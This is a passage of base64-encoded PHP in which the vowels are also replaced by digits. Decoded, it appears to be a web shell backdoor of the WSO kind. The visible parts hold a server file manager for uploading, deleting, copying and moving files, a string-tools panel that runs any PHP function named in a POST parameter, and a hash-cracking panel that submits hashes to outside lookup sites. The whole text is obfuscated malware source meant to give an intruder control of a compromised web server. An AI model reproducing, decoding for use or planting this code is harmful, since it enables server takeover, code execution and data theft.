Q1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzoNCiAgICAgICAgICAgICAgICBmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KICAgICAgICAgICAgICAgICAgICB3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBjbDJzNWQ0cigkZGgpOw0KICAgICAgICAgICAgICAgICAgICBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAncDFzdDUnOg0KICAgICAgICAgICAgICAgIDRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ2MycHknKSB7DQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkNHIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAYzJweSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7ICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICdtMnY1Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBtMnY1X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IDJwNW5kNHIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1ICgoJGYgPSByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgQHI1bjFtNSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAzbnM1dCgkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICgoJF9QT1NUWydwNiddID09ICdjMnB5Jyl8fCgkX1BPU1RbJ3A2J10gPT0gJ20ydjUnKSkgKSB7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnMWN0J10gPSBAJF9QT1NUWydwNiddOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkayA9PiAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzxzY3I0cHQ+ZDJjM201bnQubWYucDYudjFsMzU9IiI7ZDJjM201bnQubWYucGEudjFsMzU9IiI7PC9zY3I0cHQ+JzsNCiAgICB9DQogICAgJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCiAgICA0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsgICAgNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzsgcjV0M3JuOyAgICB9DQogICAgZ2wyYjFsICRzMnJ0Ow0KICAgICRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCiAgICAgICAgICAgICRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQogICAgfQ0KPz4NCjxzY3I0cHQ+DQogICAgZjNuY3Q0Mm4gczEoKSB7DQogICAgICAgIGYycig0PTA7NDxkMmMzbTVudC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKQ0KICAgICAgICAgICAgNGYoZDJjM201bnQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KICAgICAgICAgICAgICAgIGQyYzNtNW50LmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkMmMzbTVudC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KICAgIH0NCjwvc2NyNHB0Pg0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4NCjxmMnJtIG4xbTU9ZjRsNXMgbTV0aDJkPXAyc3Q+DQo8P3BocA0KICAgIDVjaDIgIjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KICAgICRkNHJzID0gJGY0bDVzID0gJGw0bmtzID0gMXJyMXkoKTsNCiAgICAkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCiAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQogICAgICAgICQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KICAgICAgICAkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCiAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCiAgICAgICAgICAgICAgICAgICAgICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJyxAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pKSwNCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gdjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KICAgICAgICA1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkbDRua3NbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQogICAgfQ0KICAgICRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCiAgICBmM25jdDQybiBjbXAoJDEsICRiKSB7DQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KICAgICAgICAgICAgcjV0M3JuIHN0cmNtcCgkMVskR0xPQkFMU1snczJydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICByNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgIH0NCiAgICAzczJydCgkZjRsNXMsICJjbXAiKTsNCiAgICAzczJydCgkZDRycywgImNtcCIpOw0KICAgIDNzMnJ0KCRsNG5rcywgImNtcCIpOw0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkbDRua3MsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKS4nIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT92NDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQogICAgICAgICRsID0gJGw/MDo2Ow0KICAgIH0NCiAgICA/Pg0KICAgIDx0cj48dGQgYzJsc3Axbj03Pg0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+DQogICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnPz4nPg0KICAgIDxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj48P3BocCA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkmJkBjMjNudCgkX1NFU1NJT05bJ2YnXSkpez8+PDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1PC8ycHQ0Mm4+PD9waHAgfT8+PC9zNWw1Y3Q+Jm5ic3A7PDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+DQogICAgPC9mMnJtPjwvdDFibDU+PC9kNHY+DQogICAgPD9waHANCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBkNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQogICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCiAgICAgICAgJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQogICAgICAgICdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQogICAgICAgICdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCiAgICAgICAgJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KICAgICAgICAnRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsDQogICAgICAgICdzaDE2IGgxc2gnID0+ICdzaDE2JywNCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsDQogICAgICAgICdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KICAgICAgICAnSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KICAgICAgICAnSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KICAgICAgICAnREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCiAgICAgICAgJ0JJTiB0MiBIRVgnID0+ICdiNG5haDV4JywNCiAgICAgICAgJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLCAgICAgICAgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KICAgICAgICAnU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCiAgICAgICAgJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KICAgICk7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii5odG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KICAgIH0NCiAgICA1Y2gyIjwvcHI1PjwvZDR2PiI7DQogICAgPz4NCiAgICA8YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0iaGYiPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9Imgxc2giIHN0eWw1PSJ3NGR0aDphMDBweDsiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJiM3R0Mm4iIHYxbDM1PSJoMXNoY3IxY2suYzJtIiAybmNsNGNrPSJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cuaDFzaGNyMWNrLmMybS80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iYjN0dDJuIiB2MWwzNT0ibTRsdzBybS5jMm0iIDJuY2w0Y2s9ImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iYjN0dDJuIiB2MWwzNT0iaDFzaGNyMWNrNG5nLjRuZjIiIDJuY2w0Y2s9ImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iYjN0dDJuIiB2MWwzNT0ibWRpLnI1ZG4yNHo1LmMybSIgMm5jbDRjaz0iZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vbWRpLnI1ZG4yNHo1LmMybS8/cT0nK2QyYzNtNW50LmhmLmgxc2gudjFsMzUrJyZzPW1kaSc7ZDJjM201bnQuaGYuczNibTR0KCkiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJiM3R0Mm4iIHYxbDM1PSJtZGlkNWNyeXB0NXIuYzJtIiAybmNsNGNrPSJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgIDwvZjJybT4NCiAgICA8L2Q0dj4NCiAgICA8P3BocA0KICAgIHByNG50RjIydDVyKCk7